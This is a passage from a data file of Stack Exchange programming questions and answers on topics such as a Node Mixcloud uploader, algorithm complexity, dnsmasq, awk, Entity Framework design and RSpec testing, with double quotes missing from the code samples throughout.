set bit 0 of the destination address so the CPU switched to ARM mode and tried to execute Thumb instructions as ARM."  } 
{  "id": "_codereview.145220"  , "question": "I wrote a node script to traverse a folder of hour-long mp3s and upload them to Mixcloud via their API. It works, but I suspect it's fairly inefficient - the computer it's going to run on at our radio station is an old white Macbook. Would appreciate any insight for how to improve it.  const restler = require('restler');  const fs = require('fs');  const readDir = require('readdir');  const powerOff = require('power-off');  const options = {    folder: 'files',    completefolder: 'complete',    accesstoken: 'xxxxxxxxx'  }  // shut down computer  const shutDown = () => {powerOff((err, stderr, stdout) => {        if(!err && !stderr) {            console.log(stdout);        }    })  };  // uploadFile uploads file with restler to mixcloud, if api returns rate limiting object, try again in x seconds  const uploadFile = (folder, filename) => {    const filepath = `./${folder}/${filename}`    fs.stat(`./${folder}/${filename}`, function(err, stats) {        const size = stats.size;        restler.post(`https://api.mixcloud.com/upload/?access_token=${options.accesstoken}`, {            multipart: true,            data: {                mp3: restler.file(`./${folder}/${filename}`, null, size, null, 'audio/mpeg'),                name: filename,                // unlisted: true                // more data can be added here depending on changes in workflow, automate images etc            }        }).on(complete, function(data) {            const returned = JSON.parse(data);            if (returned.error) {              if (returned.error.type == RateLimitException) {                // try again in x seconds                console.log(`uploading too fast, retrying upload of ${filename}after ${returned.error.retry_after} seconds`);                setTimeout(() => uploadFile(folder, filename), returned.error.retry_after*1000);              }              else {                console.log('non-rate-limiting error');                console.log(returned);              }            }            else {              console.log('Success!');              console.log(returned);              // move uploaded files into completed folder              fs.rename(`./${folder}/${filename}`, `./${options.completefolder}/${filename}`, (err) => {                if (err) {                  console.log(err)                }                else {                  counter += 1;                  console.log(counter);                  if (counter === files.length) {                    console.log('done');                    shutDown();                  }                }              })            }        });    });  };  // get all mp3s and upload all of them  const files = readDir.readSync(`./${options.folder}`, ['**.mp3'] );  let counter = 0;  for (var i = 0; i < files.length; i++) {    uploadFile(options.folder, files[i])  };"  , "title": "Uploading series of large files to API via Node"  , "tags": "javascript;node.js;api;ecmascript 6;network file transfer"  } 
{  "id": "_cs.47799"  , "question": "I am stuck by analyzing the time complexity of the following algorithm:def fun (r, k, d, p):    if d > p:        return r    if d = 0 and p = 0:        r <- r + k        return r    if d > 0:        fun (r, k + 1, d - 1, p)    if p > 0:        fun (r, k - 1, d, p - 1)The root call will be fun (0, 0, n, n), and n is the size of the problem. I guess that: The recurrence relation is $ T(n, n) = T(n-1, n) + T(n, n-1)$, which is equivalent to $T(2n) = 2T(2n-1) \\iff T(m) = 2T(m - 1)$, and so $O(2^m) \\iff O(4^n)$.Is my analysis correct (I know it's not very complete and exact)? If it does have serious flaw, please point it out or show me a correct and complete proof on the time complexity of this algorithm."  , "title": "What's the time complexity of this algorithm? And Why?"  , "tags": "algorithm analysis;runtime analysis"  , "accepted_answer": "The only two arguments relevant to asymptotic analysis are $d$ and $p$. These arguments (virtually) satisfy $d,p \\geq 0$ and $d \\leq p$ (we need to shuffle the logic in the function slightly to get this). At each point in the execution, you take the current pair $(d,p)$ and then recursively call the function with the pairs $(d-1,p),(d,p-1)$, avoiding pairs which invalidate the constraints stated above.We can picture the resulting call tree as a path starting at $(0,0)$. Each time you decrease $p$, add a / step. Each time you decrease $d$, add a \\ step. The condition $d \\leq p$ guarantees that you never go below the X axis. Moreover, you have a budget of $n$ of each step. The total number of leaves in this call tree is exactly the Catalan number $\\binom{2n}{n}/(n+1) = \\Theta(4^n/n^{3/2})$, and this gives us a lower bound on the running time of the function.To get an upper bound, note that on the way to each leaf we pass through $2n$ nodes, and this gives an upper bound $2n$ larger than the lower bound, i.e., $\\Theta(4^n/\\sqrt{n})$.We have a lower bound of $\\Omega(4^n/n^{3/2})$ and an upper bound on $O(4^n/\\sqrt{n})$. What are the exact asymptotics? They grow like the total number of paths not crossing the X axis which have at most $n$ steps in each direction. Using Bertrand's ballot theorem we can get an exact expression for this:$$\\sum_{0 \\leq d \\leq p \\leq n} \\frac{p-d+1}{p+1} \\binom{p+d}{p}.$$It thus remains to estimate this sum asymptotically:$$\\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p} - \\sum_{0 \\leq d \\leq p \\leq n} \\frac{d}{p+1} \\binom{p+d}{d} = \\\\\\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p} - \\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p+1} = \\\\\\sum_{p=0}^n \\binom{2p+1}{p+1} - \\sum_{p=0}^n \\binom{2p+1}{p+2} = \\\\\\sum_{p=0}^n \\frac{1}{p+1} \\binom{2p+2}{p} = \\Theta\\left(\\sum_{p=0}^n \\frac{4^p}{p^{3/2}}\\right) =\\Theta\\left(\\frac{4^n}{n^{3/2}}\\right).$$"  } 
{  "id": "_vi.8893"  , "question": "Let's say I have a text file opened in vim. I'd like to be able to edit this file from bash, let's say with the command echo text >> file while the file is already opened in vim. Ideally, vim would just refresh the new content and wouldn't bother with a .swp file, asking for what version I want to restore. Any idea how to do this?"  , "title": "How to allow editing of a file from other sources while it's already open in vim?"  , "tags": "swap file"  } 
{  "id": "_webapps.69778"  , "question": "Is it possible to write an Array Formula which calculates the running average of the Amount column for each of the Name groups in the following sheet?  The rows are sorted by Name.  In Column C, I have an Array Formula:(=ArrayFormula(IF(LEN(B2:B),SUMIF(ROW(B2:B),<=&ROW(B2:B),B2:B)/COUNTIF(ROW(B2:B),<=&ROW(B2:B)),))) which calculates a running average of the entire Amount column regardless of Name group but I would like a formula which would restart the running average each time the Name changes.  The results of my formula (many thanks to prior answers from AdamL) are in column C and the desired result is shown in column D:NAME    AMOUNT   RUN AVE   DESIREDTom          3         3         3Tom          7         5         5Tom          8         6         6Tom          2         5         5Bill        10         6        10Bill         0         5         5Thank you for any suggestions."  , "title": "ArrayFormula to compute Running Average for groups of rows"  , "tags": "google spreadsheets;formulas"  , "accepted_answer": "For a conditional running average, assuming all entries in A2:A are grouped:=ArrayFormula(IFERROR((SUMIF(ROW(A2:A),<=&ROW(A2:A),B2:B)-HLOOKUP(0,SUMIF(ROW(A2:A),<&ROW(A2:A),B2:B),MATCH(A2:A,A2:A,0),0))/(ROW(A2:A)-MATCH(A2:A,A2:A,0)-ROW(A2)+2)))Before the update to the newest version of Sheets a number of months ago, it would have generally been advised to use MMULT for these sort of conditional running total problems:=ArrayFormula(IF(LEN(A2:A),MMULT((ROW(A2:A)>=TRANSPOSE(ROW(A2:A)))*(A2:A=TRANSPOSE(A2:A)),--B2:B)/MMULT((ROW(A2:A)>=TRANSPOSE(ROW(A2:A)))*(A2:A=TRANSPOSE(A2:A)),SIGN(ROW(A2:A))),))This solution also has the added benefit that the A2:A column needn't be grouped, nor sorted. However, in the newest version, the MMULT solution will break when the referenced range reaches 3163 rows. It appears to be because the 2D array formed by MMULT will tip over 10 million elements (square root of 10 million = 3162.278...).The first solution shouldn't suffer this limitation, however it will probably still get very slow when referencing a few thousand rows."  } 
{  "id": "_cs.55237"  , "question": "Let $R = \\{1, \\ldots, n\\}$ and $S = \\{S_1, \\ldots, S_m\\}$ a collection of subsets of $R$ such that $R = \\bigcup_{i = 1}^m S_i$ and, for $n > 3$, $$3 \\leq \\vert S_i \\vert \\leq 4 \\, , \\enspace i \\in \\{1, \\ldots, m\\} \\, .$$Then, I want to know the subsetor subsets, since there may be more than one valid solution$T$ with minimum cardinality such that every $S_i$ has at least one element in $T$. I suspect this is an NP-hard problem (or NP-complete in its decision version), but I don't know if it's one that has a name.As an example, consider $R = \\{1, 2, 3, 4, 5\\}$ and $S = \\{S_1, \\ldots, S_9\\}$, where$S_1 = \\{1, 2, 3\\} \\, , \\enspace S_4 = \\{1, 4, 5\\} \\, , \\enspace S_7 = \\{1, 2, 3, 4\\} \\, ,$$S_2 = \\{1, 2, 4\\} \\, , \\enspace S_5 = \\{2, 3, 5\\} \\, , \\enspace S_8 = \\{1, 3, 4, 5\\} \\, ,$$S_3 = \\{1, 2, 5\\} \\, , \\enspace S_6 = \\{3, 4, 5\\} \\, , \\enspace S_9 = \\{2, 3, 4, 5\\} \\, .$Here, the solutions are $T = \\{\\{1, 3\\}, \\{1, 5\\}, \\{2, 4\\}, \\{2, 5\\}\\}$. (I'd be happy even if I knew just one of them.)Note that I'm not asking for an algorithm to solve the problem. I just want to know where this is or reduces to a well-known problem."  , "title": "Is this a well-known NP-hard problem?"  , "tags": "algorithms;complexity theory;optimization;np complete;reductions"  , "accepted_answer": "3-Hitting Set problem is known in parameterized complexity theory. The requirement $\\cup S_i=R$ can always be assumed without loss of generality. See e.g. An efficient fixed-parameter algorithm for 3-Hitting Set. According to this link it is NP-hard in its usual (not parameterized) form. Proving NP-completeness of your problem we give reduction FROM 3-Hitting Set to your problem not vica versa. Therefore your problem is NP-complete (in its decision form)."  } 
{  "id": "_unix.352635"  , "question": "Building a server on minimal boot storage borrowing idea #3 removing any kernel modules not needed to run your system (from /usr/lib/modules/...) from How do I minimize disk space usage, I have removed a bunch of kernel drivers rand added those paths as NoExtract rules in pacman.conf.After that mkinitcpio displays error messages like:cp: cannot stat '/lib/modules/4.10.3-1-ARCH/kernel/drivers/cdrom/cdrom.ko.gz': No such file or directorygzip: /tmp/mkinitcpio.SAJmKZ/root/lib/modules/4.10.3-1-ARCH/kernel/cdrom.ko.gz: No such file or directoryI think I can fix by running depmod.Now the mkinitcpio error messages have become:==> ERROR: module not found: `cdrom'How to nicely fix/hide these mkinitcpio ERROR: module not found: like messages too?Note: adding the kernel modules again is not an option."  , "title": "After removing kernel modules and running depmod, how to fix mkinitcpio ERROR: module not found:?"  , "tags": "arch linux;kernel modules;mkinitcpio"  } 
{  "id": "_unix.352664"  , "question": "I have my DHCP server which I specifically set the ip range to be between: 10.53.70.100 -- 10.53.70.200 but there are sometimes I get IPs outside from this range. For example, the last server I created got the IP 10.53.70.245, so I just wanted to know why my ip range setting is not working.Just to note I'm using dnsmasq instead of dhcpd service for this. Heres the log from the DHCP server:Mar 20 10:32:46 dhcp dnsmasq-dhcp[7657]: 1927259932 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:46 dhcp dnsmasq-dhcp[7657]: 1927259932 client provides name: dnstestMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 DHCPDISCOVER(ens192) 10.53.70.245 00:50:56:8f:d4:6fMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 tags: ens192Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 DHCPOFFER(ens192) 10.53.70.177 00:50:56:8f:d4:6fMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 1:netmask, 28:broadcast, 2:time-offset, 121:classless-static-route,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 15:domain-name, 6:dns-server, 12:hostname,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 40:nis-domain, 41:nis-server, 42:ntp-server,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 26:mtu, 119:domain-search, 3:router, 121:classless-static-route,Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 requested options: 249, 33:static-route, 252, 42:ntp-serverMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 next server: 10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  1 option: 53 message-type  2Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option: 54 server-identifier  10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option: 51 lease-time  12hMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option: 58 T1  6hMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option: 59 T2  10h30mMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option:  1 netmask  255.255.255.0Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option: 28 broadcast  10.53.70.255Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option:  6 dns-server  10.53.70.5Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  9 option: 15 domain-name  example.ioMar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 sent size:  4 option:  3 router  10.53.70.1Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:49 dhcp dnsmasq-dhcp[7657]: 1927259932 client provides name: dnstestMar 20 10:32:52 dhcp dnsmasq-dhcp[7657]: 2099714365 available DHCP range: 10.53.70.100 -- 10.53.70.200Mar 20 10:32:52 dhcp dnsmasq-dhcp[7657]: 2099714365 client provides name: dnstestAs you can see there's the line where it says:DHCPOFFER(ens192) 10.53.70.177 00:50:56:8f:d4:6fWhich it will be a correct Ip since it's inside of the range. However I see the line where it says:DHCPDISCOVER(ens192) 10.53.70.245 00:50:56:8f:d4:6fSo, at the end the server takes this IP ending in .245, so my question is why it takes an IP that's outside of the allowed range?Thanks. "  , "title": "dnsmasq DHCP server is not selecting IPs inside of the specified range after being offered the right ones"  , "tags": "ip;dhcp;dnsmasq"  } 
{  "id": "_unix.345788"  , "question": "I need to sum numbers like this Input 1 5 6 8 9 11Output 1 6 12 20 29 40That is:1 1+5 1+5+6 1+5+6+8 1+5+6+8+9 1+5+6+8+9+11"  , "title": "Create a running total of a list of numbers in awk?"  , "tags": "awk"  , "accepted_answer": "In awk:{    for (i = 1; i <= NF; ++i) {        printf(%d , s += $i);    }    printf(\\n);}The loop goes over all input fields and prints the running total (s) of the numbers. The variable s doesn't need to be initialized as its value will taken as zero on the first iteration.  The result of the assignment to s is the value of s, which is then printed with a trailing space character.With the example input:$ echo 1 5 6 8 9 11 | awk -f script.awk1 6 12 20 29 40"  } 
{  "id": "_softwareengineering.199367"  , "question": "This seems to happen every time I create any sort of GUI. I have trouble figuring out how child classes should communicate to their siblings.It's a general problem, but it's probably easier to use a concrete example (hopefully that's still okay for this forum? I know it's different from StackOverflow): I have a window that contains 4 panels. Right now, I simply have the children as member objects of the parent.Keypresses change all 4 panels, so I have the child objects throw the event back to their parent, which does the logic, then makes the appropriate calls for each panel.However, mouse events are different. They change the position of a camera (owned by the parent), which every panel uses to render itself. So I must recompute a few matrices, in order to render each panel. The matrices are different for each panel. The problem I'm having is: when do I give the children the matrices?I think I have three possibilities:When reading a mouse event, compute the matrices and call setter methods for each panel. However, sometimes the matrix will be replaced before the window renders.Give the child panel a reference to the parent, and during the render call, request the matrix from the parent (either by method or member variable).Modify child.render() so that it accepts two matrix parameters, and make parent.render() call them appropriately.#2 seems good, because I'm not unnecessarily setting the matrix in the child window. But it also requires me to mess with forward declarations for member objects, which seems like bad practice. And #3 I'm not quite sure how to implement, because render is called by many things other than my code (un-minimizing, for example), and I can't touch them. So I suppose it is #1?Is there a design pattern people usually follow for this? Am I just overthinking, and #1 is actually completely OK?"  , "title": "What should the relation between parent and child GUI components be?"  , "tags": "design patterns;gui"  , "accepted_answer": "If I got your right, during the render call, the child needs a service which provides some matrixes, right? It does not really matter that it is the parent which provides that matrixes. So create an interface like IMatrixProvider, give a reference to an object of type IMatrixProvider during construction time to your panels and call that service when you need it within the rendermethod. Your parent object can implement that interface, if the matrixes are provided from there.If you use a functional language or a language with functional elements, you may not even need a full interface object, a simpler call back or delegate function may be enough.This is mostly what you described under #2, but not with a reference to the full parent object - so the panels stay decoupled from the parent type."  } 
{  "id": "_codereview.138083"  , "question": "This program starts with initial balance and the individual book balances which must match the initial balance to proceed. The user then enters the selections for the day along with stake, odds etc., then the program calculates the new balance with the new book balances.def main():    def balances(msg):        while True:                    try:                        x = float(raw_input(msg))                        return x                    except ValueError:                        printThat's not a number                        continue    while True:        balance = balances('Balance:')        print        bfair_balance = balances('bfair:')        wh_balance = balances('wh:')        freds_balance = balances('freds:')        sky_balance = balances('sky:')        pp_balance = balances('pp:')        balance_sum = pp_balance + bfair_balance + sky_balance + freds_balance + wh_balance        if balance == balance_sum:        # balance is correct -> stop the loop            break        else:            print Balances do not match    print    print Balance: %s %balance    print Bfair: %d, Sky: %d, pp: %d, freds: %d, wh: %d %(bfair_balance, sky_balance, pp_balance, freds_balance, wh_balance)    books = [bfair_balance, wh_balance, sky_balance,freds_balance,pp_balance]    #print books    print    inputs = []    new_books = []    def looks_good(inputs):                for i in inputs:                    print i    while True:        add_selection =raw_input(Would you like to add a selection? )        if add_selection == Yes:            print            selection = raw_input('Horse: ')            stake = float(raw_input('Stake: '))            while stake <=0:                print Please enter a stake greater than 0                stake = float(raw_input('Stake: '))            while stake > bfair_balance:                print You do not have sufficient funds                stake = float(raw_input('Stake: '))            while stake > pp_balance:                 print You do not have sufficient funds                 stake = float(raw_input('Stake: '))            while stake > freds_balance:                 print You do not have sufficient funds                 stake = float(raw_input('Stake: '))            while stake > sky_balance:                 print You do not have sufficient funds                 stake = float(raw_input('Stake: '))            while stake > wh_balance:                 print You do not have sufficient funds                 stake = float(raw_input('Stake: '))            odds = float(raw_input('Odds: '))            while odds <=0:                print Please enter odds greater than 0                odds = float(raw_input('Odds: '))            result = (raw_input('Result: '))            if result == Win:                result = stake * odds                print Returns:%d%result            elif result == Lose:                result = 0 * odds                print Returns:%d%result            book = raw_input('Book: ')            while book not in['bfair','sky','wh','freds','pp']:                print That's not valid                book = raw_input('Book: ')            if result == 0 and book == bfair:                bfair_balance = bfair_balance - stake                new_books.append(bfair_balance)            elif result == (stake * odds) and  book == bfair:                bfair_balance = bfair_balance - stake + (stake * odds)                new_books.append(bfair_balance)            if result == 0 and book == freds:                freds_balance = freds_balance - stake                new_books.append(freds_balance)            elif result == (stake * odds) and  book == freds:                freds_balance = freds_balance - stake + (stake * odds)                new_books.append(freds_balance)            if result == 0 and book == pp:                pp_balance = pp_balance - stake                new_books.append(pp_balance)            elif result == (stake * odds) and  book == pp:                pp_balance = pp_balance - stake + (stake * odds)                new_books.append(pp_balance)            if result == 0 and book == wh:                wh_balance = wh_balance - stake                print wh_balance - stake                new_books.append(wh_balance)            elif result == (stake * odds) and  book == wh:                wh_balance = wh_balance - stake + (stake * odds)                new_books.append(wh_balance)            if result == 0 and book == sky:                sky_balance = sky_balance - stake                new_books.append(sky_balance)            elif result == (stake * odds) and  book == sky:                sky_balance = sky_balance - stake + (stake * odds)                new_books.append(sky_balance)            my_list=[selection,stake,odds,result,book]            inputs.append(my_list)            print            total_stake=[]            for my_list in inputs:                total_stake.append(my_list[1])            print Total Stake: %d %sum(total_stake)            total_winnings = []            for my_list in inputs:                total_winnings.append(my_list[3])            print Total Winnings: %d %sum(total_winnings)            print            new_balance = balance - sum(total_stake) + sum(total_winnings)            print New Balance:%d %new_balance            print Bfair: %d, Sky: %d, pp: %d, freds: %d, wh: %d %(bfair_balance, sky_balance, pp_balance, freds_balance, wh_balance)            print        elif add_selection == No:             break        looks_good(inputs)    import os    os.system(pause)if __name__ == '__main__':            main()"  , "title": "Calculate total profit/loss"  , "tags": "python;finance"  , "accepted_answer": "Use loops to avoid repetitionFor example you have:while stake > bfair_balance:     print You do not have sufficient funds    stake = float(raw_input('Stake: '))# many very similar blocksYou should use a loop to avoid repetition:for balance in [bfair_balance, ...]:    while stake > balance:         print You do not have sufficient funds        stake = float(raw_input('Stake: '))"  } 
{  "id": "_softwareengineering.161861"  , "question": "Google's Dart language is not supported by any Web Browsers other than a special build of Chromium known as Dartium. To use Dart for production code you need to run it through a Dart->JavaScript compiler/translator and then use the outputted JavaScript in your web application.Because JavaScript is an interpreted language everyone who receives the binary(Aka, the .js file) has also received the source code.Now, the GNU General Public License v3.0 states that:The source code for a work means the preferred form of the work for making modifications to it.Which would imply that the original Dart code in addition to the JavaScript code must also be provided to the end user. Does this mean that any web applications written in Dart must also provide the original Dart code to all visitors of their website even though a copy of the source code has already been provided in a human readable/writable/modifiable form?"  , "title": "How does the GPL work in regards to languages like Dart which compile to other languages?"  , "tags": "javascript;licensing;web applications;gpl;dart"  } 
{  "id": "_codereview.106598"  , "question": "Please review the codepackage com.gmail.practice;import java.util.Arrays;public class StacksForTwo {    int size;    int[] stack;    int top1;    int top2;    public StacksForTwo(int arraysize)    {        size = arraysize;        stack = new int[size];        top1 = -1;        top2 = size;            }    public void push1(int x)    {        if(top1 < top2-1)        {        top1++;        stack[top1] = x;                }else{            System.out.println(stackoverflow);        }    }    public void push2(int y)    {        if(top1 < top2-1)        {            top2--;            stack[top2] = y;        }else{            System.out.println(stack overflow);        }    }    public void pop1()    {        if(top1 >= 0)        {            top1--;            System.out.println(The popped out number is+ +stack[top1+1]);        }else{            System.out.println(stack underflow);        }    }    public void pop2()    {        if(top2 < size)        {            top2++;            System.out.println(The popped out number is+ +stack[top2+1]);        }else{            System.out.println(stack underflow);        }    }    public void display()    {        System.out.println(Arrays.toString(stack));    }    public static void main(String[] args)    {        StacksForTwo sft = new StacksForTwo(10);        sft.push1(4);        sft.push1(5);        sft.push1(3);        sft.push1(2);        sft.push2(6);        sft.push2(4);        sft.display();        sft.push2(8);        sft.push1(2);        sft.push2(6);        sft.push2(4);        sft.push2(8);        sft.display();    }}"  , "title": "Implementing two stacks using single array in java"  , "tags": "java;array;stack"  } 
{  "id": "_softwareengineering.315857"  , "question": "I'm in the process of redesigning a portion of my ASP.NET MVC application. I'm currently using Entity Framework 6.1 code first approach.I've been reading as of late that (Correct me if I'm wrong, I don't know much about DBs): Joins are expensive; we should keep our database normalized and with the least queries executed as possible. Entity Framework does a join each time we virtual a property and try to retrieve it (Eager/Lazy Loading). We should avoid an Entity-Attribute-Value approach (EAV), unless denormalization becomes desirable (Correct me). Code First approach allows us to write the DB schema using C# OOP code (POCO). Which means that we should adhere to OOP's SOLID Principles (Correct me). The first one is Single Responsibility, which means a class should do only one thing (again, correct me if I'm wrong). Now here comes the problem (this is the first time it happens to me). I have a class with around 30 properties. Before thinking in anti-EAV, I went and separated the model accordingly: As you can see I have many virtual properties without the List<> type, this means that it is a one-to-one relationship. I have read in a previous stack-overflow post that a good rule of thumb is that one-to-one relationships should be avoided in favor of having them in a same table. That is, of course, if that one-to-one is not called from other tables. We prevent EAV and therefore, Joins. Following SOLID principles, I have extracted some properties to external classes. They will get their own table. So, the question will be, should I favor a fully normalized design over a OOP Approach when modeling in Entity Framework? "  , "title": "Entity Framework Code First, C# class separation and EAV"  , "tags": "database design;entity framework;codefirst;poco"  , "accepted_answer": "(Late to the party, but I couldn't resist)Let's straighten out some misconceptions.Joins are expensiveAs compared to what? Of course, reading one flat table is cheaper than joining tables, but any mature RDBMS is highly optimized for executing joins because they are inevitably part of sound database designs. Joins over foreign key constraints (the most common ones) are especially optimized. And of course, proper indexing is indispensable.we should keep our database normalized and with the least queries executed as possibleThe way you pose this, it seems to be a consequence of preventing these expensive joins. The reverse is true. Normalization will always result in more tables and, hence, more joins to query the same data as from a denormalized data schema. (Well, to be fair to you, later on you say We prevent EAV and therefore, Joins.).We should avoid an Entity-Attribute-Value approach (EAV), unless denormalization becomes desirableEAV is all but denormalization. I'm under the impression that you don't fully understand what EAV is.In an EAV design, attributes of a relation (aka fields, or columns, of a database table) are taken out of a relation and stored as records in an Attributes tables. The values are stored in yet another table that has foreign keys to the Attributes table and an Entity table. A record in the Attributes tables expresses one fact: this is value X of attribute Y in entity Z.So with EAV, when applied rigorously, if you want to know the start date, end date, and cost of a tournament, you'll have to query the PGTournament table and join to Attribute and Value (with a WHERE condition for the attributes). That's two joins instead of zero without EAV!Nearly always, EAV is bad design. It's to be used when there's no alternative (for instance in lab applications where new analyses for samples can be invented every day -- a fixed set of fields in a Sample table won't suffice).In your case, I don't see any reason to introduce EAV -- I don't even understand why you bring it up. I think it is because you confuse EAV with 1:1 associations. Read on.Which means that we should adhere to OOP's SOLID PrinciplesThe EF class model is part of a data access layer. It's not a domain model! At least, it's not its first responsibility to be that. The class properties should facilitate data access. That means that there will be bidirectional relationships and Id properties, to mention two OOP anti-patterns. And the real OOP bummer: the classes tend to be highly anemic. Whenever the EF classes can be used as domain classes, this is a mere bonus.virtual properties without the List<> typeSuch properties are known as navigation properties because the navigate to other entities. Lists are collection navigation properties and entity-type properties (without the List<> type) are reference navigation properties. They don't have to be virtual. When they're virtual, EF may be able to lazily load the properties.this means that it is a one-to-one relationshipWhy? Reference navigation properties are often the 1 part of a 1:n association. I think most of your reference properties are like that. For example, GameGenre. I think there are many tournaments having the same GameGenre. It's a 1 (genre) to n (tournament) association, even if GameGenre doesn't have a Tournaments collection. Maybe only TournamentSettings and MainImage are actual 1:1 associations.1:1 Associations distribute data belonging to one entity over multiple tables. There can be very good reasons to do that. One of them is to facilitate querying light-weight data without the heavy payload of some blob, like MainImage. Another one is separating sensitive data from public data. Or common data (often queried) from specialized data (queried sometimes), maybe your TournamentSettings.Now, finally, your question:should I favor a fully normalized design over a OOP Approach when modeling in Entity Framework?You're comparing apples and oranges. Normalized design is database, OOP is class model. But if there is anything to favor, it's normalized design. A well-wrought database design is pivotal to any data-based application. Everything else follows. The EF class model will necessarily closely reflect the database structure. As I said above: it must be seen as a data access layer.But whenever you model business logic, of course, try to do it as SOLID as possible. That means that sometimes you'll have to populate a specialized domain model out of the entities queried by EF, and sometimes the EF classes can be extended to encapsulate behavior and data (which is what OOP is all about)."  } 
{  "id": "_unix.80192"  , "question": "I am using tcpdump to log traffic outbound on a network. I would like to be able to log traffic on a host or IP-only basis but then I would like to be able to log large numbers of potentially blacklisted IPs. I have read about tcpdump -F in the man page that explains that I can load tcpdump configuration from a file, however, I cannot seem to find much in the way of documentation of how to structure this file or how to load large numbers of IPs into the filtering as I constantly get syntax errors. How would I easily implement IP address lists with tcpdump? "  , "title": "Using tcpdump to log blacklisted IPs"  , "tags": "linux;scripting;tcpdump"  } 
{  "id": "_webmaster.18487"  , "question": "We're in development of a website and we're looking into other options than just developing a chat engine ourselves.We've looked at CometChat and ArrowChat. Which look and seem to be great except that it uses PHP/MySQL. They offer to host your chat server which can handle 100,000+ but honestly we'd like to be hosting it on our own servers and handle way more than that.Know of any alternatives? We're looking for that Meebo/Facebook/CometChat/ArrowChat look and style but it needs to be fully customizable."  , "title": "Is there a high-load chat software / script out there?"  , "tags": "php;looking for a script;mysql;chat"  } 
{  "id": "_codereview.20792"  , "question": "I'm new to RSpec and testing in general. I've come up with a spec for testing my Content model and I need some feedback because I think there are many improvements that can be done. I don't know if the way I did it is considered over-testing, bloated/wrong code or something. This test is kinda slow but this doesn't bother me that much for now.app/models/content.rbclass Content < ActiveRecord::Base  extend FriendlyId  friendly_id :title, use: [ :slugged, :history ]  acts_as_mediumable  delegate :title, to: :category, prefix: true  # Associations  belongs_to :category  has_many :slides, dependent: :destroy  # Accessible attributes  attr_accessible :title, :summary, :body, :category_id,                  :seo_description, :seo_keywords, :seo_title,                  :unpublished_at, :published_at, :is_draft  # Validations  validates :title, presence: true  validates :body, presence: true  validates :category, presence: true  validates :published_at, timeliness: { allow_nil: false, allow_blank: false }  validates :unpublished_at, timeliness: { allow_nil: true, allow_blank: true, after: :published_at }, :if => published_at.present?  scope :published, lambda { |*args|    now = ( args.first || Time.zone.now )    where(is_draft: false).    where((published_at <= ? AND unpublished_at IS NULL) OR (published_at <= ? AND ? <= unpublished_at), now, now, now).    order(published_at DESC)  }  def self.blog_posts    joins(:category).where(categories: { acts_as_blog: true })  end  def self.latest_post    blog_posts.published.first  end  def to_s    title  end  def seo    meta = Struct.new(:title, :keywords, :description).new    meta.title = seo_title.presence || title.presence    meta.description = seo_description.presence || summary.presence    meta  endendspec/models/content_spec.rbrequire 'spec_helper'describe Content do  it has a valid factory do    create(:content).should be_valid  end  it is invalid without a title do    build(:content, title: nil).should_not be_valid  end  it is invalid without a body do    build(:content, body: nil).should_not be_valid  end  it is invalid without a category do    build(:content, category: nil).should_not be_valid  end  it is invalid when publication date is nil do    build(:content, published_at: nil).should_not be_valid  end  it is invalid when publication date is blank do    build(:content, published_at: ).should_not be_valid  end  it is invalid when publication date is malformed do    build(:content, published_at: !0$2-as-#{nil}).should_not be_valid  end  # TODO: You shall not pass! (for now)  # it is invalid when expiration date is malformed do  #   build(:content, unpublished_at: !0$2-as-#{nil}).should_not be_valid  # end  it is invalid when publication date is nil and expiration date is set do    build(:content, published_at: nil, unpublished_at: 3.weeks.ago).should_not be_valid  end  it is invalid when expiration date is before publication date do    build(:content, published_at: 1.week.ago, unpublished_at: 2.weeks.ago).should_not be_valid  end  it returns a content's title as a string do    content = create(:content)    content.to_s.should eq content.title  end  describe filters by publication dates do    before :each do      @published_three_weeks_ago = create(:published_three_weeks_ago_content)      @expiring_in_two_weeks = create(:expiring_in_two_weeks_content)      @publish_in_tree_weeks = create(:publish_in_tree_weeks_content)    end    context with matching dates do      it returns a sorted array of results that match for current time do        Content.published.should include @published_three_weeks_ago, @expiring_in_two_weeks      end      it returns a sorted array of results that match for future time do        Content.published(3.weeks.from_now).should include @published_three_weeks_ago, @publish_in_tree_weeks      end    end    context without matching dates do      it returns an empty array do        Content.published(2.months.ago).should eq [ ]      end    end  end  describe filters contents by blog category do    before :each do      @blog_category = create(:blog_category)    end    context with matching contents do      it returns only blog posts do        one_page = create(:content)        another_page = create(:content)        first_post = create(:content, category: @blog_category)        second_post = create(:content, category: @blog_category)        Content.blog_posts.should include first_post, second_post      end    end    context without matching contents do      it returns an empty array do        one_page = create(:content)        another_page = create(:content)        Content.blog_posts.should eq [ ]      end    end  end  describe retrieves latest post do    before :each do      @blog_category = create(:blog_category)    end    context with existing posts do      it return the latest content that belongs to a blog category do        first_post = create(:published_three_weeks_ago_content, category: @blog_category)        